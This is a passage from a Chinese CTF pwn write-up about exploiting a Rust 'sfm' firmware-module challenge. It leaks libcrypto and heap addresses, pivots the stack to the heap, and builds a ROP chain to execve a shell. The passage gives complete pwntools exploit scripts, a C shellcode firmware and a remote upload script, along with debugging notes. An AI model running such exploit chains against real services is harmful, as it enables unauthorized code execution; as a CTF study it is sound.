000000b0 02 00 00 00 00 00 00 00 cf 10 cc 68 89 7f 00 00 │····│····│···h│····│
000000c0 c0 84 d6 68 89 7f 00 00 21 00 00 00 00 00 00 00 │···h│····│!···│····│
000000d0 02 00 00 00 00 00 00 00 48 11 cc 68 89 7f 00 00 │····│····│H··h│····│
000000e0 c0 6b d6 68 89 7f 00 00 21 00 00 00 00 00 00 00 │·k·h│····│!···│····│
000000f0 90 a4 5a 7e c4 55 00 00 00 00 00 00 00 00 00 00 │··Z~│·U··│····│····│
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│

根据简单的观察可知,这里写漏了一个lib地址,为libcrypto.so.3的一个固定地址,这个library题目中有给出,因此我们可以尝试利用这个构造ROP。
然而根据之前溢出条件来看,程序最多可以控制的溢出只有ret地址和rpb处,因为这个结构体存在一些其他tag,导致如果我们尝试控制了ret地址之后,其他的地址可能就不好控制了。
不过,我们从泄露的数据中还能看到一点heap的地址,那这里我们考虑到之前create_object可以塞入任意数据的事情,可以考虑做一个栈迁移,让我们的rsp指针跳转到堆上。
首先,我们创建一个堆

1
2
3
4
5
6
7
8
+--------------+
| |
| |
| |
| |
| |
| NvStorage |
+--------------+

此时,我们的栈修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+--------------+          +----------------+
| |<---+ | |
| | | | |
| | | | |
| | | | |
| | | | |
| NvStorage | | | |
+--------------+ | | |
| | |
| | |
| | |
| | |
| | pop rsp ret; |
| | |
+-----+ NvStorage Addr |
+----------------+

这样就能让rsp指向NvStorage分配的内存中,从而保证有充足的空间存放ROP链。
同时,我们使用ropper这个工具,即可快速的生成可以利用的ROP链

1
ropper  -f .\libcrypto.so.3 --chain execve

考虑到整个程序攻击流程比较长(需要上传一个自己的固件,然后让固件与sfm通信),这里考虑先用pwntools模拟这个固件,写出相关的攻击流程,然后再办法将其转换成C代码。为了让其能够正常运行,我们需要有一些前置工作:

  • 由于这个sfm使用的句柄来自环境变量,所以我们可以使用socket.sockpair来创建一对通信句柄,让其中一个句柄可被继承,然后设置为环境变量,即可实现通信。
  • 需要对sfm这个binary使用patchelf,让其能够从我们指定的目标目录下进行libc的查找。

完成准备工作后,我们可以写出当前漏洞的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
import socket
import os

sfm_fd, client_fd = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
os.set_inheritable(sfm_fd.fileno(), True)
p = process("./sfm", env = {'FIRMWARE_FD': str(sfm_fd.fileno()),
},
close_fds=False
)

context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
# gdb.attach(p,'b sfm_attest_to_quote')
gdb.attach(p,'b sfm_certify_owner_record')
# gdb.attach(p)
print(client_fd.recv(4))
client_fd.send(b"SFMI")

fw = open('./trusted_firmware', 'rb')
content = fw.read()

for i in range(0, len(content), 1024):
# Update_Banks
cmd = p32(0) + p16(1) + p16(0)
# bank_index _padding
cmd += p16(1) + p16(0)
# data
cmd += content[i:i+1024]
client_fd.send(cmd)
print(client_fd.recv(4))

# AttestQuote
cmd = p32(0) + p16(7) + p16(0)
# hash id
cmd += p16(4)

client_fd.send(cmd)
data = client_fd.recv(512)
print(hexdump(data))
libcrypt = u64(data[0x58:0x60]) - 0x347990
print(hex(libcrypt))
leak_heap = u64(data[0x90:0x98])
print(hex(leak_heap))
exp_rop_addr = leak_heap - 0x11620 + 0x18610
print(hex(exp_rop_addr))

# 0x55ce41b57620 - 0x000055ce41b46000 + (0x55ce41b5e610 -0x000055ce41b46000)

# Stack Pivot to heap
# 0x00000000000b726c : pop rsp ; ret
# Ropper
# 0x00000000000d46c7 : pop rax ; ret
# 0x000000000011ce96 : syscall
pop_rsp_ret = p64(libcrypt + 0xb726c)
pop_rax_ret = p64(libcrypt + 0xd46c7)
pop_rcx_ret = p64(libcrypt + 0x1bb813)
mov_rcx_rax_ret = p64(libcrypt + 0x114c45)
pop_rdi_ret = p64(libcrypt + 0xb71db)
pop_rsi_ret = p64(libcrypt + 0xba534)
pop_rdx_ret = p64(libcrypt + 0x2b89d3)
syscall = p64(libcrypt + 0x11ce96)
data_segment = p64(libcrypt + 0x43D000)
data_8_segment = p64(libcrypt + 0x43D008)


exp_rop = pop_rax_ret
exp_rop += b"//bin/sh"
exp_rop += pop_rcx_ret
exp_rop += data_segment
exp_rop += mov_rcx_rax_ret
exp_rop += pop_rax_ret
exp_rop += p64(0)
exp_rop += pop_rcx_ret
exp_rop += data_8_segment
exp_rop += mov_rcx_rax_ret
exp_rop += pop_rdi_ret
exp_rop += data_segment
exp_rop += pop_rsi_ret
exp_rop += data_8_segment
exp_rop += pop_rdx_ret
exp_rop += data_8_segment
exp_rop += pop_rax_ret
exp_rop += p64(0x3b)
exp_rop += syscall
exp_rop = exp_rop.ljust(1024,b'A')
# print(len(exp_rop))

# ---- create object
# SfmCreateObject
cmd = p32(0) + p16(2) + p16(0)
# SfmObjectType:NvStorage
cmd += p16(3)
# SfmAuthorizationPolicy
"""
pub struct SfmAuthorizationPolicy {
policy_type: u16,
pub data: [u8; 64]
}
"""
# NullPolicy pub data
cmd += p16(0) + b'\x00'*64
# NvStorage + body
cmd += p16(1024)
cmd += exp_rop
print("send object")
client_fd.send(cmd)
print(client_fd.recv(4))

# w.send(cmd)
# print(w.recv(4))

# ----------- ModifyObject --------------
cmd = p32(0) + p16(3) + p16(0)
# object_index, this is initialized
cmd += p32(0)
# cmd += p16(0)
"""
pub struct OwnershipRecordRaw {
pub country_code: [u8; 2],
pub _padding: [u8; 2],
pub owner_name: [u8; 64],
pub device_name: [u8; 16],
pub serial_number: [u8; 8],
pub creation_date: u32,
}
"""
# owner_name = b'B'*64
# prepare rop
owner_name = b'\xff'*51+b'B'*1 + b'\x00'*12
# skip one junk
# owner_name = b'\xff'*52+b'B'*2 + pop_rax_ret +b'b'*2
# device_name = pop_rsp_ret + p64(exp_rop_addr)
device_name = pop_rsp_ret + b'H'*8 # zero cut
serial_number = p64(exp_rop_addr)
# serial_number = b'A'*8
cmd = cmd + b'\x00\x00' + b'\x00\x00' + owner_name + device_name + serial_number + p32(0)

client_fd.send(cmd)
print(client_fd.recv(4))

# SfmCertifyObject
cmd = p32(0) + p16(6) + p16(0)
# OwnershipRecord
cmd += p32(0)
client_fd.send(cmd)

"""
0x7ffccf2f7438: 0x6161616161616161 0x3d4e432c01716262
0x7ffccf2f7448: 0x4242424242424242 0x4242424242424242
0x7ffccf2f7458: 0x4141414141414141 0x4242424242424202
"""


p.interactive()

进一步做题

在Python代码执行成功后,我们需要继续贴合题目。

这里有个小疑问,我们能否直接上传一个shellcode,读取后台题目中的trusted_firmware呢?
其实是不行的,因为这个程序仅能够支持read,write,recvmsg这几个中断调用,这就意味着我们无法读取攻击目标端上的trusted_firmare,而是得用前文提到的那种,上传的程序中**需要把整个trusted_firmware**包含进去。为了能够给我们自己的shellcode腾位置,我们需要按照前文提到的,将对应的binary进行压缩

简单检查了一下UPX的源码之后,发现其用的是一种叫做LZMA的压缩算法,经过上网搜了一段时间之后,找到一个LZ4的压缩算法比较简单。可以使用这个算法帮我们将trusted_firmware压缩,然后我们再在我们的binary里面再把这个压缩后的程序解即可。

构建程序的时候需要注意:

  • 程序应该尽可能的小,并且不包含elf头部等信息,只有基本的代码数据部分
  • raw中可以看出,不应当包含libc中的内容,也就是说我们需要尽可能的只使用系统调用完成任务

其中,有一个编译shellcode的技巧是,我们可以让数据放在代码段,这样就可以很简单的只将代码段提取出来,例如我们声明:

1
unsigned char blob[] __attribute__((section(".text"))) 

此时就能将blob只存放在代码段。

然后就能使用下列编译策略将shellcode取出来

1
2
gcc -Os -nostdlib -Wl,--gc-sections  -o firm.o firm.c
objcopy -O binary --only-section=.text firm.o firm.bin

调试技巧

这个题目非常讲究调试技巧。首先,这里无法使用前文pwntools的方式辅助调试,毕竟我们此时确实需要启动两个进程;其次,两个进程一定要使用指定的句柄进行通信,这就导致我们不能像平时那样直接让双方进行通信。

这里用了一个取巧的办法,首先使用了下列python脚本创建一个unix stream存在的环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
import socket
import subprocess


sock1, sock2 = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
os.set_inheritable(sock1.fileno(), True)
os.set_inheritable(sock2.fileno(), True)

os.environ['SFM_FD'] = str(sock2.fileno())
os.environ['FIRMWARE_FD'] = str(sock1.fileno())

subprocess.call(['bash', '-i'], env=os.environ,pass_fds=(sock1.fileno(), sock2.fileno()))

接下来,在这个shell中,我们再后台启动sfm

1
./sfm &

这样我们就能从其他terminal对这个进程进行调试。同时,因为只有当前的terminal中有打开的句柄,此时可以使用

1
./launcer ./firm.bin

来传入有效数据。

再无数次的试错后,终于成功的执行了后台程序:

1
2
├─bash───python3───bash─┬─python3───ba+
└─sh

注意,由于按照我们调试技巧在后端启动了sfm,所以此时的sh其实会执行失败,不过如果能看到sh启动的话,大概率exp就是执行成功了。这里给出相关EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
#include <stddef.h>
#include <stdint.h>
#include <sys/socket.h>
#define __NR_write 1
#define __NR_read 0
#define __NR_recvmsg 47
#define __NR_exit

typedef struct __attribute__((__packed__)) {
unsigned int _reservered;
unsigned short command_code;
unsigned short pad_;
} SfmCommand;

typedef struct __attribute__((__packed__)) {
SfmCommand cmd;
unsigned short bank_index;
unsigned short pad_;
unsigned char data[1024];
} SfmIntegrityBankUpdate;

typedef struct __attribute__((__packed__)) {
SfmCommand cmd;
unsigned short flags;
} SfmEstablishSecureIo;

typedef struct __attribute__((__packed__)) {
SfmCommand cmd;
unsigned short alg_id;
} SfmAttestQuote;

typedef struct __attribute__((__packed__)) {
unsigned short policy_type;
unsigned char data[64];
} SfmAuthorizationPolicy;

typedef struct __attribute__((__packed__)) {
unsigned short size;
unsigned char data[1024];
} NvStorageRaw;

typedef struct __attribute__((__packed__)) {
SfmCommand cmd;
unsigned short object_type;
SfmAuthorizationPolicy policy;
NvStorageRaw nv;
} SfmCreateObject;


typedef struct __attribute__((__packed__)) {
unsigned char country_code[2];
unsigned char _padding[2];
unsigned char owner_name[64];
unsigned char device_name[16];
unsigned char serial_number[8];
unsigned int creation_date;
} OwnershipRecordRaw;

typedef struct __attribute__((__packed__)) {
SfmCommand cmd;
unsigned int object_index;
OwnershipRecordRaw record;
} SfmModifyObject;

typedef struct __attribute__((__packed__)) {
SfmCommand cmd;
unsigned int object_index;
} SfmCertifyObject;

void decompress_and_update();
int integrity_bank_update(int fd, int idx, unsigned char* buf, int size);
int establish_secure_io(int fd, unsigned short flags, int fds[]);
// unsigned long _get_pc();
// const char message[] = "Hello, World!\n";
unsigned char blob[];

ssize_t my_recvmsg(int sockfd, struct msghdr* msg, int flags);
void my_write(int fd, void* message, int length);
ssize_t my_read(int fd, void* buffer, size_t count) ;
// first send "SFMI"
void handshake(int fd);
unsigned long
lz4_depack(const void *src, void *dst, unsigned long packed_size);

#define my_memcpy(dst_, src_, n) \
do {\
size_t _n = (n);\
unsigned char* dst = (unsigned char*)dst_;\
unsigned char* src = (unsigned char*)src_;\
while (_n-- > 0) { *dst++ = *src++; }\
} while (0)

#define my_memset(dst_, x, n) \
do {\
size_t _n = (n);\
unsigned char* dst = (unsigned char*)dst_;\
while (_n-- > 0) { *dst++ = (unsigned char)(x); }\
} while (0)


int _start(void) {
int fd = 3;
int status = 0;
int cookie = 0;
status = my_read(fd, &cookie, sizeof(cookie));
my_write(fd, (char *)&cookie, sizeof(cookie));
// my_write(1, (char *)&cookie, sizeof(cookie));

unsigned int *input = (unsigned int*)blob;
unsigned int packed_sz = input[1];
unsigned char *compressed_ptr = &input[2];

unsigned char dec_bin[0x3000];
my_memset(dec_bin, '\x00', sizeof(dec_bin));
int out_size = 0;
// int out_size = lz4_depack(compressed_ptr, dec_bin, packed_sz);
{
const unsigned char *in = (unsigned char *) compressed_ptr;
unsigned char *out = (unsigned char *) dec_bin;
unsigned long dst_size = 0;
unsigned long cur = 0;
unsigned long prev_match_start = 0;

if (in[0] == 0) {
return 0;
}

/* Main decompression loop */
while (cur < packed_sz) {
unsigned long token = in[cur++];
unsigned long lit_len = token >> 4;
unsigned long len = (token & 0x0F) + 4;
unsigned long offs;
unsigned long i;

/* Read extra literal length bytes */
if (lit_len == 15) {
while (in[cur] == 255) {
lit_len += 255;
++cur;
}
lit_len += in[cur++];
}

/* Copy literals */
for (i = 0; i < lit_len; ++i) {
out[dst_size++] = in[cur++];
}

/* Check for last incomplete sequence */
if (cur == packed_sz) {
/* Check parsing restrictions */
if (dst_size >= 5 && lit_len < 5) {
return 0;
}

if (dst_size > 12 && dst_size - prev_match_start < 12) {
return 0;
}

break;
}

/* Read offset */
offs = (unsigned long) in[cur] | ((unsigned long) in[cur + 1] << 8);
cur += 2;

/* Read extra length bytes */
if (len == 19) {
while (in[cur] == 255) {
len += 255;
++cur;
}
len += in[cur++];
}

prev_match_start = dst_size;

/* Copy match */
for (i = 0; i < len; ++i) {
out[dst_size] = out[dst_size - offs];
++dst_size;
}
}
out_size = dst_size;
}

for (int i = 0; i < out_size; i += 1024) {
{
int fd = 3;
unsigned char* buf = dec_bin + i;
int size = 1024;
SfmIntegrityBankUpdate bank_update;
my_memset(&bank_update, 0, sizeof(SfmIntegrityBankUpdate));
bank_update.cmd.command_code = 1;
bank_update.bank_index = 1;
my_memcpy(bank_update.data, buf, size);
char* ptr = (char*)&bank_update;
int ret_size = 0;
asm volatile("syscall"
: "=a" (ret_size)
: "a"(__NR_write), "D"(fd), "S"(ptr), "d"(sizeof(SfmIntegrityBankUpdate))
: "memory", "cc", "r11", "cx"
);
// my_write(fd, ptr, size);
int ret_data = 0;
int ret_value = 0;
asm volatile("syscall"
: "=a"(ret_value)
: "a"(__NR_read), "D"(fd), "S"(&ret_data), "d"(4)
: "rcx", "r11", "memory"
);
}
}

SfmAttestQuote attest;
my_memset((unsigned char*)&attest, 0, sizeof(SfmAttestQuote));
attest.cmd.command_code = 7;
attest.alg_id = 4;
my_write(fd, &attest, sizeof(attest));

unsigned long long libcrypt = 0;
unsigned long long leak_heap = 0;
unsigned char data[1024];
status = my_read(fd, data, 512);
// data = client_fd.recv(512)
// print(hexdump(data))
libcrypt = *(unsigned long long *)&data[0x58];
libcrypt -= 0x347990;
// print(hex(libcrypt))
leak_heap = *(unsigned long long *)&data[0x90];
// print(hex(leak_heap))
unsigned long long exp_rop_addr = leak_heap - 0x11620 + 0x18610;
// print(hex(exp_rop_addr))

// my_write(std_out, "leak libcrypt address",)
unsigned long long pop_rsp_ret = libcrypt + 0xb726c;
unsigned long long pop_rax_ret = libcrypt + 0xd46c7;
unsigned long long pop_rcx_ret = libcrypt + 0x1bb813;
unsigned long long mov_rcx_rax_ret = libcrypt + 0x114c45;
unsigned long long pop_rdi_ret = libcrypt + 0xb71db;
unsigned long long pop_rsi_ret = libcrypt + 0xba534;
unsigned long long pop_rdx_ret = libcrypt + 0x2b89d3;
unsigned long long syscall = libcrypt + 0x11ce96;
unsigned long long data_segment = libcrypt + 0x43D000;
unsigned long long data_8_segment = libcrypt + 0x43D008;


unsigned char exp_rop[400];
for(int i = 0; i < 400; i++)
{
exp_rop[i] = 0;
}
unsigned long long*exp_long_ptr = (unsigned long long *)exp_rop;

exp_long_ptr[0] = pop_rax_ret;
exp_long_ptr[1] = 0x68732f6e69622f2f;
exp_long_ptr[2] = pop_rcx_ret;
exp_long_ptr[3] = data_segment;
exp_long_ptr[4] = mov_rcx_rax_ret;
exp_long_ptr[5] = pop_rax_ret;
exp_long_ptr[6] = 0;
exp_long_ptr[7] = pop_rcx_ret;
exp_long_ptr[8] = data_8_segment;
exp_long_ptr[9] = mov_rcx_rax_ret;
exp_long_ptr[10] = pop_rdi_ret;
exp_long_ptr[11] = data_segment;
exp_long_ptr[12] = pop_rsi_ret;
exp_long_ptr[13] = data_8_segment;
exp_long_ptr[14] = pop_rdx_ret;
exp_long_ptr[15] = data_8_segment;
exp_long_ptr[16] = pop_rax_ret;
exp_long_ptr[17] = 0x3b;
exp_long_ptr[18] = syscall;

SfmCreateObject create_object;
my_memset(&create_object, 0, sizeof(SfmCreateObject));
create_object.cmd.command_code = 2;
create_object.object_type = 3;
create_object.policy.policy_type = 0;
create_object.nv.size = 1024;
my_memcpy((unsigned char*)&create_object.nv.data, (unsigned char*)&exp_rop, sizeof(exp_rop));
my_write(fd, &create_object, sizeof(SfmCreateObject));
status = my_read(fd, &status, 4);

SfmModifyObject modify_object = {0};
my_memset((unsigned char*)&modify_object, 0, sizeof(SfmModifyObject));
modify_object.cmd.command_code = 3;
modify_object.object_index = 0;
modify_object.record.country_code[0] = 'A';
modify_object.record.country_code[1] = 'A';

for(int i = 0; i < 51; i++)
{
modify_object.record.owner_name[i] = '\xff';
}
modify_object.record.owner_name[51] = 'B';
// owner_name = b'\xff'*51+b'B'*1 + b'\x00'*12
my_memcpy(modify_object.record.device_name, &pop_rsp_ret, 8);
for(int i = 8; i < 16; i++)
{
modify_object.record.device_name[i] = 'H';
}
my_memcpy(modify_object.record.serial_number, &exp_rop_addr, 8);
my_write(fd, &modify_object, sizeof(SfmModifyObject));

// client_fd.send(cmd)
// print(client_fd.recv(4))
status = my_read(fd, &status, 4);

// # SfmCertifyObject
SfmCertifyObject certify_object = {0};
my_memset(&certify_object, 0, sizeof(SfmCertifyObject));
certify_object.cmd.command_code = 6;
certify_object.object_index = 0;
// client_fd.send(cmd)
my_write(fd, &certify_object, sizeof(certify_object));

while(1){};
// p.interactive()
return 0;
}

void my_write(int fd, void* message, int length) {
// ssize_t ret;
asm("syscall"
: // "=a" (ret)
: "a"(__NR_write), "D"(fd), "S"(message), "d"(length)
: "memory", "cc", "r11", "cx"
);
// return ret;
}

ssize_t my_read(int fd, void* buffer, size_t count) {
ssize_t result;
asm("syscall"
: "=a"(result)
: "a"(__NR_read), "D"(fd), "S"(buffer), "d"(count)
: "rcx", "r11", "memory"
);
return result;
}

#include "firmware.c"

最后,我们将程序封装好,然后完成最后的exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import binascii

fd = open("firm.bin",'rb')
content = fd.read()
content = content.ljust(0x2000,b'\x00')
fd.close()

p = remote("127.0.0.1",4444)
p.recvuntil("> ")
p.sendline("upload")

image = binascii.hexlify(content)
print(hex(len(image)))
p.sendline(image)

p.recvuntil("> ")
p.sendline("run")

p.interactive()

踩坑与总结

踩坑部分

这次的坑踩得实在是太多了,决定在这里记一下,看看经历的磨难。。

  • 程序由于使用了LayoutVerified这个结构体,导致只要结构体不符合要求(不按照结构体对齐->new_from_prefix or 大小与结构体不同->read_from)的时候,就会直接发生错误。所以一开始写PoC的时候,花了很多时间去调试。。。
  • EXP编写的时候,一开始想用owner_name这个变量,但是后来注意到,如果地址也写进去了的话,也会产生utf-8的问题,导致地址被加入fffd,所以要避免使用这个地址。。
  • 因为拷贝的时候使用的strcpy,所以存在0截断的问题,有些存在0的地方(例如存放地址)就会导致后续的写入内容无法写入,这时就要充分的利用每一个结构体成员(比如serial number)
    (调试踩坑)
  • 调试shellcode的时候,一开始想不到怎么调试,直接用pwntools的脚本编写。然而一开始我们sfm的那种调试方案不可行了,因为我们自己写的launcher的firmware可能有问题,根本来不及attach。
  • 接上,其次是,由于我们的shellcode程序是从_start开始的,如果用gdb.attach会来不及在需要断下的地方停下来(因为shellcode已经被执行了),而如果使用gdb.run指令来,则会因为pwntools的gdb无法继承句柄,导致句柄没有被传递过去,无法调试
  • 实际调试的时候,由于要启动两个进程,一开始用了pwntools来启动,结果发现一是没办法定位错误,二是没办法让程序运行(好像会卡住的样子)
  • 后来在想到创建socket之前,用mkfifo创建命名管道,也能模拟socket通信的效果,但是Rust代码指明了用socket,当使用fifo的时候会直接报错
  • 没办法从commandline打开这个socket文件,所以使用代码创建socket的话,需要在利用代码完成环境变量的设置,最后创建一个新的shell
    (shellcode编写)
  • 编写shellcode的时候,由于一开始有些系统调用编写的时候未注意到,syscall指令会改变寄存器的值(例如r11),加上汇编高度优化,导致程序的执行逻辑可能会出现意想不到的现象
  • 注意launcher进程,他的传入的fd一定不能是3,不然会被提前关掉。可以检查/proc/launcher_pid/fd确认当前进程打开的句柄是哪个
  • 生成shellcode的时候,很多时候read or write系统调用会被优化掉,需要加上volatile关键字来保护

总结部分

  • 这次在比赛中基本上完全没有跟上思路,大部分内容都是比赛结束之后才能看懂,真的很佩服能在限定时间内做出来的人
  • 这几次Rust比赛下来,似乎已经有了初步的阅读Rust代码的能力了,之后可以尝试做点开发工作进一步深化学习
  • 这次的pwn题环境非常复杂, 中途企图只用bash模拟,完全失败。只能用代码配合着创建一个合理的运行环境
  • 由于题目需要手写二进制,其实已经有好多次想要放弃,因为踩得坑实在是太多了,不只是写,还要编译,对抗优化,调试环境配置,几乎每一个问题我都花了一整天才能解决。。。
  • 从结果来看,搭建一个环境非常的重要,否则盲猜几乎无法解决问题。。。